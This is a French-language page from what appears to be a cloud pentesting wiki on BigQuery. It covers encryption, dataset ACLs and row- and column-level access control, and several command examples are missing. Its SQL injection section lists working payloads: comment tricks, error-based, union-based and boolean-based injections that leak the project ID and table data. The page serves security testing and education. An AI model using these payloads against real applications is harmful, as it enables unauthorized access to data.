GCP - Bigquery Enum
Informations de base
Google Cloud BigQuery est un entrepôt de données d'entreprise entièrement géré et sans serveur, offrant des capacités pour l'analyse de pétaoctets de données, gérant ainsi efficacement des ensembles de données à grande échelle. En tant que Plateforme en tant que Service (PaaS), elle fournit aux utilisateurs une infrastructure et des outils pour faciliter la gestion des données sans nécessiter de supervision manuelle.
Il prend en charge les requêtes utilisant ANSI SQL. Les principaux objets sont des ensembles de données contenant des tables contenant des données SQL.
Chiffrement
Par défaut, une clé de chiffrement gérée par Google est utilisée, bien qu'il soit possible de configurer une clé de chiffrement gérée par le client (CMEK). Il est possible d'indiquer la clé de chiffrement par ensemble de données et par table à l'intérieur d'un ensemble de données.
Expiration
Il est possible d'indiquer un temps d'expiration dans l'ensemble de données afin que toute nouvelle table créée dans cet ensemble de données soit automatiquement supprimée le nombre de jours spécifié après sa création.
Sources externes
BigQuery est profondément intégré avec d'autres services Google. Il est possible de charger des données à partir de buckets, pub/sub, Google Drive, bases de données RDS...
ACLs d'ensemble de données
Lorsqu'un ensemble de données est créé, des ACLs sont attachées pour donner accès à celui-ci. Par défaut, des privilèges d'Owner sont accordés à l'utilisateur qui a créé l'ensemble de données, puis Owner au groupe projectOwners (Propriétaires du projet), Writer au groupe projectWriters, et Reader au groupe projectReaders :
Contrôle d'accès aux lignes de table
Il est possible de contrôler les lignes auxquelles un principal pourra accéder à l'intérieur d'une table avec des politiques d'accès aux lignes. Celles-ci sont définies à l'intérieur de la table en utilisant DDL. La politique d'accès définit un filtre et seules les lignes correspondantes à ce filtre seront accessibles par les principaux indiqués.
Contrôle d'accès aux colonnes
Pour restreindre l'accès aux données au niveau des colonnes :
Définir une taxonomie et des étiquettes de politique. Créez et gérez une taxonomie et des étiquettes de politique pour vos données. https://console.cloud.google.com/bigquery/policy-tags
Optionnel : Accordez le rôle de lecteur à granularité fine du catalogue de données à un ou plusieurs responsables sur une ou plusieurs des étiquettes de politique que vous avez créées.
Attribuez des étiquettes de politique à vos colonnes BigQuery. Dans BigQuery, utilisez des annotations de schéma pour attribuer une étiquette de politique à chaque colonne où vous souhaitez restreindre l'accès.
Appliquez le contrôle d'accès sur la taxonomie. L'application du contrôle d'accès entraîne l'application des restrictions d'accès définies pour toutes les étiquettes de politique dans la taxonomie.
Gérez l'accès sur les étiquettes de politique. Utilisez les politiques de gestion des identités et des accès (IAM) pour restreindre l'accès à chaque étiquette de politique. La politique est en vigueur pour chaque colonne qui appartient à l'étiquette de politique.
Lorsqu'un utilisateur essaie d'accéder aux données d'une colonne au moment de la requête, BigQuery vérifie l'étiquette de politique de la colonne et sa politique pour voir si l'utilisateur est autorisé à accéder aux données.
En résumé, pour restreindre l'accès à certaines colonnes pour certains utilisateurs, vous pouvez ajouter une étiquette à la colonne dans le schéma et restreindre l'accès des utilisateurs à l'étiquette en appliquant le contrôle d'accès sur la taxonomie de l'étiquette.
Pour appliquer le contrôle d'accès sur la taxonomie, il est nécessaire d'activer le service :
Il est possible de voir les balises des colonnes avec :
Énumération
Injection SQL BigQuery
Pour plus d'informations, vous pouvez consulter l'article de blog : https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Ici, seuls quelques détails vont être fournis.
Commentaires :
select 1#from here it is not working
select 1/*between those it is not working*/
Mais juste le premier ne fonctionnera passelect 1--from here it is not working
Obtenez des informations sur l'environnement tel que :
Utilisateur actuel :
select session_user()
ID de projet :
select @@project_id
Concaténer les lignes :
Tous les noms de table :
string_agg(table_name, ', ')
Obtenez les noms de datasets, tables et colonnes :
Nom de projet et de dataset :
Noms de colonne et de table de toutes les tables du jeu de données :
Autres ensembles de données dans le même projet :
Types d'injection SQL :
Basé sur les erreurs - conversion :
select CAST(@@project_id AS INT64)
Basé sur les erreurs - division par zéro :
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Basé sur l'union (vous devez utiliser ALL dans bigquery) :
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Basé sur le booléen :
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potentiellement basé sur le temps - Utilisation d'exemples de jeux de données publics :
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentation :
Liste de toutes les fonctions : https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Instructions de script : https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Escalade de privilèges & Post-exploitation
Persistance
Références
Last updated